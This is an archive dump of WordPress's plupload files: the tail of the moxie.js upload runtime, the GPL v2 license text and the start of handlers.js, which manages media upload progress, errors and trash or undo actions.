"progid:DXImageTransform.Microsoft.Alpha(opacity=0)" }); } input.onchange = function() { // there should be only one handler for this var file; if (!this.value) { return; } if (this.files) { // check if browser is fresh enough file = this.files[0]; // ignore empty files (IE10 for example hangs if you try to send them via XHR) if (file.size === 0) { form.parentNode.removeChild(form); return; } } else { file = { name: this.value }; } file = new File(I.uid, file); // clear event handler this.onchange = function() {}; addInput.call(comp); comp.files = [file]; // substitute all ids with file uids (consider file.uid read-only - we cannot do it the other way around) input.setAttribute('id', file.uid); form.setAttribute('id', file.uid + '_form'); comp.trigger('change'); input = form = null; }; // route click event to the input if (I.can('summon_file_dialog')) { browseButton = Dom.get(_options.browse_button); Events.removeEvent(browseButton, 'click', comp.uid); Events.addEvent(browseButton, 'click', function(e) { if (input && !input.disabled) { // for some reason FF (up to 8.0.1 so far) lets to click disabled input[type=file] input.click(); } e.preventDefault(); }, comp.uid); } _uid = uid; shimContainer = currForm = browseButton = null; } Basic.extend(this, { init: function(options) { var comp = this, I = comp.getRuntime(), shimContainer; // figure out accept string _options = options; _mimes = options.accept.mimes || Mime.extList2mimes(options.accept, I.can('filter_by_extension')); shimContainer = I.getShimContainer(); (function() { var browseButton, zIndex, top; browseButton = Dom.get(options.browse_button); // Route click event to the input[type=file] element for browsers that support such behavior if (I.can('summon_file_dialog')) { if (Dom.getStyle(browseButton, 'position') === 'static') { browseButton.style.position = 'relative'; } zIndex = parseInt(Dom.getStyle(browseButton, 'z-index'), 10) || 1; browseButton.style.zIndex = zIndex; shimContainer.style.zIndex = zIndex - 1; } /* Since we have to place input[type=file] on top of the browse_button for some browsers, browse_button loses interactivity, so we restore it here */ top = I.can('summon_file_dialog') ? browseButton : shimContainer; Events.addEvent(top, 'mouseover', function() { comp.trigger('mouseenter'); }, comp.uid); Events.addEvent(top, 'mouseout', function() { comp.trigger('mouseleave'); }, comp.uid); Events.addEvent(top, 'mousedown', function() { comp.trigger('mousedown'); }, comp.uid); Events.addEvent(Dom.get(options.container), 'mouseup', function() { comp.trigger('mouseup'); }, comp.uid); browseButton = null; }()); addInput.call(this); shimContainer = null; // trigger ready event asynchronously comp.trigger({ type: 'ready', async: true }); }, disable: function(state) { var input; if ((input = Dom.get(_uid))) { input.disabled = !!state; } }, destroy: function() { var I = this.getRuntime() , shim = I.getShim() , shimContainer = I.getShimContainer() ; Events.removeAllEvents(shimContainer, this.uid); Events.removeAllEvents(_options && Dom.get(_options.container), this.uid); Events.removeAllEvents(_options && Dom.get(_options.browse_button), this.uid); if (shimContainer) { shimContainer.innerHTML = ''; } shim.removeInstance(this.uid); _uid = _mimes = _options = shimContainer = shim = null; } }); } return (extensions.FileInput = FileInput); }); // Included from: src/javascript/runtime/html4/file/FileReader.js /** * FileReader.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html4/file/FileReader @private */ define("moxie/runtime/html4/file/FileReader", [ "moxie/runtime/html4/Runtime", "moxie/runtime/html5/file/FileReader" ], function(extensions, FileReader) { return (extensions.FileReader = FileReader); }); // Included from: src/javascript/runtime/html4/xhr/XMLHttpRequest.js /** * XMLHttpRequest.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html4/xhr/XMLHttpRequest @private */ define("moxie/runtime/html4/xhr/XMLHttpRequest", [ "moxie/runtime/html4/Runtime", "moxie/core/utils/Basic", "moxie/core/utils/Dom", "moxie/core/utils/Url", "moxie/core/Exceptions", "moxie/core/utils/Events", "moxie/file/Blob", "moxie/xhr/FormData" ], function(extensions, Basic, Dom, Url, x, Events, Blob, FormData) { function XMLHttpRequest() { var _status, _response, _iframe; function cleanup(cb) { var target = this, uid, form, inputs, i, hasFile = false; if (!_iframe) { return; } uid = _iframe.id.replace(/_iframe$/, ''); form = Dom.get(uid + '_form'); if (form) { inputs = form.getElementsByTagName('input'); i = inputs.length; while (i--) { switch (inputs[i].getAttribute('type')) { case 'hidden': inputs[i].parentNode.removeChild(inputs[i]); break; case 'file': hasFile = true; // flag the case for later break; } } inputs = []; if (!hasFile) { // we need to keep the form for sake of possible retries form.parentNode.removeChild(form); } form = null; } // without timeout, request is marked as canceled (in console) setTimeout(function() { Events.removeEvent(_iframe, 'load', target.uid); if (_iframe.parentNode) { // #382 _iframe.parentNode.removeChild(_iframe); } // check if shim container has any other children, if - not, remove it as well var shimContainer = target.getRuntime().getShimContainer(); if (!shimContainer.children.length) { shimContainer.parentNode.removeChild(shimContainer); } shimContainer = _iframe = null; cb(); }, 1); } Basic.extend(this, { send: function(meta, data) { var target = this, I = target.getRuntime(), uid, form, input, blob; _status = _response = null; function createIframe() { var container = I.getShimContainer() || document.body , temp = document.createElement('div') ; // IE 6 won't be able to set the name using setAttribute or iframe.name temp.innerHTML = '<iframe id="' + uid + '_iframe" name="' + uid + '_iframe" src="javascript:""" style="display:none"></iframe>'; _iframe = temp.firstChild; container.appendChild(_iframe); /* _iframe.onreadystatechange = function() { console.info(_iframe.readyState); };*/ Events.addEvent(_iframe, 'load', function() { // _iframe.onload doesn't work in IE lte 8 var el; try { el = _iframe.contentWindow.document || _iframe.contentDocument || window.frames[_iframe.id].document; // try to detect some standard error pages if (/^4(0[0-9]|1[0-7]|2[2346])\s/.test(el.title)) { // test if title starts with 4xx HTTP error _status = el.title.replace(/^(\d+).*$/, '$1'); } else { _status = 200; // get result _response = Basic.trim(el.body.innerHTML); // we need to fire these at least once target.trigger({ type: 'progress', loaded: _response.length, total: _response.length }); if (blob) { // if we were uploading a file target.trigger({ type: 'uploadprogress', loaded: blob.size || 1025, total: blob.size || 1025 }); } } } catch (ex) { if (Url.hasSameOrigin(meta.url)) { // if response is sent with error code, iframe in IE gets redirected to res://ieframe.dll/http_x.htm // which obviously results to cross domain error (wtf?) _status = 404; } else { cleanup.call(target, function() { target.trigger('error'); }); return; } } cleanup.call(target, function() { target.trigger('load'); }); }, target.uid); } // end createIframe // prepare data to be sent and convert if required if (data instanceof FormData && data.hasBlob()) { blob = data.getBlob(); uid = blob.uid; input = Dom.get(uid); form = Dom.get(uid + '_form'); if (!form) { throw new x.DOMException(x.DOMException.NOT_FOUND_ERR); } } else { uid = Basic.guid('uid_'); form = document.createElement('form'); form.setAttribute('id', uid + '_form'); form.setAttribute('method', meta.method); form.setAttribute('enctype', 'multipart/form-data'); form.setAttribute('encoding', 'multipart/form-data'); I.getShimContainer().appendChild(form); } // set upload target form.setAttribute('target', uid + '_iframe'); if (data instanceof FormData) { data.each(function(value, name) { if (value instanceof Blob) { if (input) { input.setAttribute('name', name); } } else { var hidden = document.createElement('input'); Basic.extend(hidden, { type : 'hidden', name : name, value : value }); // make sure that input[type="file"], if it's there, comes last if (input) { form.insertBefore(hidden, input); } else { form.appendChild(hidden); } } }); } // set destination url form.setAttribute("action", meta.url); createIframe(); form.submit(); target.trigger('loadstart'); }, getStatus: function() { return _status; }, getResponse: function(responseType) { if ('json' === responseType) { // strip off <pre>..</pre> tags that might be enclosing the response if (Basic.typeOf(_response) === 'string' && !!window.JSON) { try { return JSON.parse(_response.replace(/^\s*<pre[^>]*>/, '').replace(/<\/pre>\s*$/, '')); } catch (ex) { return null; } } } else if ('document' === responseType) { } return _response; }, abort: function() { var target = this; if (_iframe && _iframe.contentWindow) { if (_iframe.contentWindow.stop) { // FireFox/Safari/Chrome _iframe.contentWindow.stop(); } else if (_iframe.contentWindow.document.execCommand) { // IE _iframe.contentWindow.document.execCommand('Stop'); } else { _iframe.src = "about:blank"; } } cleanup.call(this, function() { // target.dispatchEvent('readystatechange'); target.dispatchEvent('abort'); }); } }); } return (extensions.XMLHttpRequest = XMLHttpRequest); }); // Included from: src/javascript/runtime/html4/image/Image.js /** * Image.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html4/image/Image @private */ define("moxie/runtime/html4/image/Image", [ "moxie/runtime/html4/Runtime", "moxie/runtime/html5/image/Image" ], function(extensions, Image) { return (extensions.Image = Image); }); expose(["moxie/core/utils/Basic","moxie/core/utils/Env","moxie/core/I18n","moxie/core/utils/Mime","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/core/EventTarget","moxie/runtime/Runtime","moxie/runtime/RuntimeClient","moxie/file/FileInput","moxie/core/utils/Encode","moxie/file/Blob","moxie/file/File","moxie/file/FileDrop","moxie/file/FileReader","moxie/core/utils/Url","moxie/runtime/RuntimeTarget","moxie/file/FileReaderSync","moxie/xhr/FormData","moxie/xhr/XMLHttpRequest","moxie/runtime/Transporter","moxie/image/Image","moxie/core/utils/Events"]); })(this); /** * o.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /*global moxie:true */ /** Globally exposed namespace with the most frequently used public classes and handy methods. @class o @static @private */ (function(exports) { "use strict"; var o = {}, inArray = exports.moxie.core.utils.Basic.inArray; // directly add some public classes // (we do it dynamically here, since for custom builds we cannot know beforehand what modules were included) (function addAlias(ns) { var name, itemType; for (name in ns) { itemType = typeof(ns[name]); if (itemType === 'object' && !~inArray(name, ['Exceptions', 'Env', 'Mime'])) { addAlias(ns[name]); } else if (itemType === 'function') { o[name] = ns[name]; } } })(exports.moxie); // add some manually o.Env = exports.moxie.core.utils.Env; o.Mime = exports.moxie.core.utils.Mime; o.Exceptions = exports.moxie.core.Exceptions; // expose globally exports.mOxie = o; if (!exports.o) { exports.o = o; } return o; })(this); plupload/license.txt 0000644 00000043103 15111757753 0010564 0 ustar 00 GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. plupload/handlers.js 0000644 00000047707 15111757753 0010555 0 ustar 00 /* global plupload, pluploadL10n, ajaxurl, post_id, wpUploaderInit, deleteUserSetting, setUserSetting, getUserSetting, shortform */ var topWin = window.dialogArguments || opener || parent || top, uploader, uploader_init; // Progress and success handlers for media multi uploads. function fileQueued( fileObj ) { // Get rid of unused form. jQuery( '.media-blank' ).remove(); var items = jQuery( '#media-items' ).children(), postid = post_id || 0; // Collapse a single item. if ( items.length == 1 ) { items.removeClass( 'open' ).find( '.slidetoggle' ).slideUp( 200 ); } // Create a progress bar containing the filename. jQuery( '<div class="media-item">' ) .attr( 'id', 'media-item-' + fileObj.id ) .addClass( 'child-of-' + postid ) .append( jQuery( '<div class="filename original">' ).text( ' ' + fileObj.name ), '<div class="progress"><div class="percent">0%</div><div class="bar"></div></div>' ) .appendTo( jQuery( '#media-items' ) ); // Disable submit. jQuery( '#insert-gallery' ).prop( 'disabled', true ); } function uploadStart() { try { if ( typeof topWin.tb_remove != 'undefined' ) topWin.jQuery( '#TB_overlay' ).unbind( 'click', topWin.tb_remove ); } catch( e ){} return true; } function uploadProgress( up, file ) { var item = jQuery( '#media-item-' + file.id ); jQuery( '.bar', item ).width( ( 200 * file.loaded ) / file.size ); jQuery( '.percent', item ).html( file.percent + '%' ); } // Check to see if a large file failed to upload. function fileUploading( up, file ) { var hundredmb = 100 * 1024 * 1024, max = parseInt( up.settings.max_file_size, 10 ); if ( max > hundredmb && file.size > hundredmb ) { setTimeout( function() { if ( file.status < 3 && file.loaded === 0 ) { // Not uploading. wpFileError( file, pluploadL10n.big_upload_failed.replace( '%1$s', '<a class="uploader-html" href="#">' ).replace( '%2$s', '</a>' ) ); up.stop(); // Stop the whole queue. up.removeFile( file ); up.start(); // Restart the queue. } }, 10000 ); // Wait for 10 seconds for the file to start uploading. } } function updateMediaForm() { var items = jQuery( '#media-items' ).children(); // Just one file, no need for collapsible part. if ( items.length == 1 ) { items.addClass( 'open' ).find( '.slidetoggle' ).show(); jQuery( '.insert-gallery' ).hide(); } else if ( items.length > 1 ) { items.removeClass( 'open' ); // Only show Gallery/Playlist buttons when there are at least two files. jQuery( '.insert-gallery' ).show(); } // Only show Save buttons when there is at least one file. if ( items.not( '.media-blank' ).length > 0 ) jQuery( '.savebutton' ).show(); else jQuery( '.savebutton' ).hide(); } function uploadSuccess( fileObj, serverData ) { var item = jQuery( '#media-item-' + fileObj.id ); // On success serverData should be numeric, // fix bug in html4 runtime returning the serverData wrapped in a <pre> tag. if ( typeof serverData === 'string' ) { serverData = serverData.replace( /^<pre>(\d+)<\/pre>$/, '$1' ); // If async-upload returned an error message, place it in the media item div and return. if ( /media-upload-error|error-div/.test( serverData ) ) { item.html( serverData ); return; } } item.find( '.percent' ).html( pluploadL10n.crunching ); prepareMediaItem( fileObj, serverData ); updateMediaForm(); // Increment the counter. if ( post_id && item.hasClass( 'child-of-' + post_id ) ) { jQuery( '#attachments-count' ).text( 1 * jQuery( '#attachments-count' ).text() + 1 ); } } function setResize( arg ) { if ( arg ) { if ( window.resize_width && window.resize_height ) { uploader.settings.resize = { enabled: true, width: window.resize_width, height: window.resize_height, quality: 100 }; } else { uploader.settings.multipart_params.image_resize = true; } } else { delete( uploader.settings.multipart_params.image_resize ); } } function prepareMediaItem( fileObj, serverData ) { var f = ( typeof shortform == 'undefined' ) ? 1 : 2, item = jQuery( '#media-item-' + fileObj.id ); if ( f == 2 && shortform > 2 ) f = shortform; try { if ( typeof topWin.tb_remove != 'undefined' ) topWin.jQuery( '#TB_overlay' ).click( topWin.tb_remove ); } catch( e ){} if ( isNaN( serverData ) || !serverData ) { // Old style: Append the HTML returned by the server -- thumbnail and form inputs. item.append( serverData ); prepareMediaItemInit( fileObj ); } else { // New style: server data is just the attachment ID, fetch the thumbnail and form html from the server. item.load( 'async-upload.php', {attachment_id:serverData, fetch:f}, function(){prepareMediaItemInit( fileObj );updateMediaForm();}); } } function prepareMediaItemInit( fileObj ) { var item = jQuery( '#media-item-' + fileObj.id ); // Clone the thumbnail as a "pinkynail" -- a tiny image to the left of the filename. jQuery( '.thumbnail', item ).clone().attr( 'class', 'pinkynail toggle' ).prependTo( item ); // Replace the original filename with the new (unique) one assigned during upload. jQuery( '.filename.original', item ).replaceWith( jQuery( '.filename.new', item ) ); // Bind Ajax to the new Delete button. jQuery( 'a.delete', item ).on( 'click', function(){ // Tell the server to delete it. TODO: Handle exceptions. jQuery.ajax({ url: ajaxurl, type: 'post', success: deleteSuccess, error: deleteError, id: fileObj.id, data: { id : this.id.replace(/[^0-9]/g, '' ), action : 'trash-post', _ajax_nonce : this.href.replace(/^.*wpnonce=/,'' ) } }); return false; }); // Bind Ajax to the new Undo button. jQuery( 'a.undo', item ).on( 'click', function(){ // Tell the server to untrash it. TODO: Handle exceptions. jQuery.ajax({ url: ajaxurl, type: 'post', id: fileObj.id, data: { id : this.id.replace(/[^0-9]/g,'' ), action: 'untrash-post', _ajax_nonce: this.href.replace(/^.*wpnonce=/,'' ) }, success: function( ){ var type, item = jQuery( '#media-item-' + fileObj.id ); if ( type = jQuery( '#type-of-' + fileObj.id ).val() ) jQuery( '#' + type + '-counter' ).text( jQuery( '#' + type + '-counter' ).text()-0+1 ); if ( post_id && item.hasClass( 'child-of-'+post_id ) ) jQuery( '#attachments-count' ).text( jQuery( '#attachments-count' ).text()-0+1 ); jQuery( '.filename .trashnotice', item ).remove(); jQuery( '.filename .title', item ).css( 'font-weight','normal' ); jQuery( 'a.undo', item ).addClass( 'hidden' ); jQuery( '.menu_order_input', item ).show(); item.css( {backgroundColor:'#ceb'} ).animate( {backgroundColor: '#fff'}, { queue: false, duration: 500, complete: function(){ jQuery( this ).css({backgroundColor:''}); } }).removeClass( 'undo' ); } }); return false; }); // Open this item if it says to start open (e.g. to display an error). jQuery( '#media-item-' + fileObj.id + '.startopen' ).removeClass( 'startopen' ).addClass( 'open' ).find( 'slidetoggle' ).fadeIn(); } // Generic error message. function wpQueueError( message ) { jQuery( '#media-upload-error' ).show().html( '<div class="notice notice-error"><p>' + message + '</p></div>' ); } // File-specific error messages. function wpFileError( fileObj, message ) { itemAjaxError( fileObj.id, message ); } function itemAjaxError( id, message ) { var item = jQuery( '#media-item-' + id ), filename = item.find( '.filename' ).text(), last_err = item.data( 'last-err' ); if ( last_err == id ) // Prevent firing an error for the same file twice. return; item.html( '<div class="error-div">' + '<a class="dismiss" href="#">' + pluploadL10n.dismiss + '</a>' + '<strong>' + pluploadL10n.error_uploading.replace( '%s', jQuery.trim( filename )) + '</strong> ' + message + '</div>' ).data( 'last-err', id ); } function deleteSuccess( data ) { var type, id, item; if ( data == '-1' ) return itemAjaxError( this.id, 'You do not have permission. Has your session expired?' ); if ( data == '0' ) return itemAjaxError( this.id, 'Could not be deleted. Has it been deleted already?' ); id = this.id; item = jQuery( '#media-item-' + id ); // Decrement the counters. if ( type = jQuery( '#type-of-' + id ).val() ) jQuery( '#' + type + '-counter' ).text( jQuery( '#' + type + '-counter' ).text() - 1 ); if ( post_id && item.hasClass( 'child-of-'+post_id ) ) jQuery( '#attachments-count' ).text( jQuery( '#attachments-count' ).text() - 1 ); if ( jQuery( 'form.type-form #media-items' ).children().length == 1 && jQuery( '.hidden', '#media-items' ).length > 0 ) { jQuery( '.toggle' ).toggle(); jQuery( '.slidetoggle' ).slideUp( 200 ).siblings().removeClass( 'hidden' ); } // Vanish it. jQuery( '.toggle', item ).toggle(); jQuery( '.slidetoggle', item ).slideUp( 200 ).siblings().removeClass( 'hidden' ); item.css( {backgroundColor:'#faa'} ).animate( {backgroundColor:'#f4f4f4'}, {queue:false, duration:500} ).addClass( 'undo' ); jQuery( '.filename:empty', item ).remove(); jQuery( '.filename .title', item ).css( 'font-weight','bold' ); jQuery( '.filename', item ).append( '<span class="trashnotice"> ' + pluploadL10n.deleted + ' </span>' ).siblings( 'a.toggle' ).hide(); jQuery( '.filename', item ).append( jQuery( 'a.undo', item ).removeClass( 'hidden' ) ); jQuery( '.menu_order_input', item ).hide(); return; } function deleteError() { } function uploadComplete() { jQuery( '#insert-gallery' ).prop( 'disabled', false ); } function switchUploader( s ) { if ( s ) { deleteUserSetting( 'uploader' ); jQuery( '.media-upload-form' ).removeClass( 'html-uploader' ); if ( typeof( uploader ) == 'object' ) uploader.refresh(); } else { setUserSetting( 'uploader', '1' ); // 1 == html uploader. jQuery( '.media-upload-form' ).addClass( 'html-uploader' ); } } function uploadError( fileObj, errorCode, message, up ) { var hundredmb = 100 * 1024 * 1024, max; switch ( errorCode ) { case plupload.FAILED: wpFileError( fileObj, pluploadL10n.upload_failed ); break; case plupload.FILE_EXTENSION_ERROR: wpFileExtensionError( up, fileObj, pluploadL10n.invalid_filetype ); break; case plupload.FILE_SIZE_ERROR: uploadSizeError( up, fileObj ); break; case plupload.IMAGE_FORMAT_ERROR: wpFileError( fileObj, pluploadL10n.not_an_image ); break; case plupload.IMAGE_MEMORY_ERROR: wpFileError( fileObj, pluploadL10n.image_memory_exceeded ); break; case plupload.IMAGE_DIMENSIONS_ERROR: wpFileError( fileObj, pluploadL10n.image_dimensions_exceeded ); break; case plupload.GENERIC_ERROR: wpQueueError( pluploadL10n.upload_failed ); break; case plupload.IO_ERROR: max = parseInt( 